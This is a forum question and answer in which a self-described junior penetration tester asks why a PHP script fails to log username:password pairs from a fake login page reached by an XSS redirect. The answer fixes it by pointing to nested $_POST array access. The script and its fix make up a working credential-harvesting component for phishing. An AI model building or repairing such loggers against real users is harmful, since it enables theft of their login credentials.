Posted data variables not being saved by PHP script -
i'm (junior) pen tester , i'm trying make script demonstrate dangers of xss attack client. i've got php script meant log user:pass combos when victims (i.e. myself in demo) redirected malicious page i'm hosting.
this part of source login:
<input type="text" id="form_login_username" name="form[login][username]" value="" class="large" /> <input type="password" id="form_login_password" name="form[login][password]" value="" class="large" />
i'm new php might basic that's cause problem. here php script log details:
<?php $filename = "login_details.txt"; $username = $_post["form[login][username]"]; $password = $_post["form[login][password]"]; $fh = fopen($filename, "aw") or die("cannot open file"); fwrite($fh, $username . ":" . $password . "\r\n"); fclose($fh);
with script get:
notice: undefined index: form[login][username] in...
and same password.
i added in isset see if variables being set, , they're not.
i know script work, tried few other simple login pages , it's worked perfectly. difference username , password post variables in case have square brackets in them - issue? have tried url encoding them no avail :(
any ideas i'm going wrong? thank =)
because valid way access variables is
$_post['form']['login']['username']
just perform var_dump($_post);
, see post contains
Comments
Post a Comment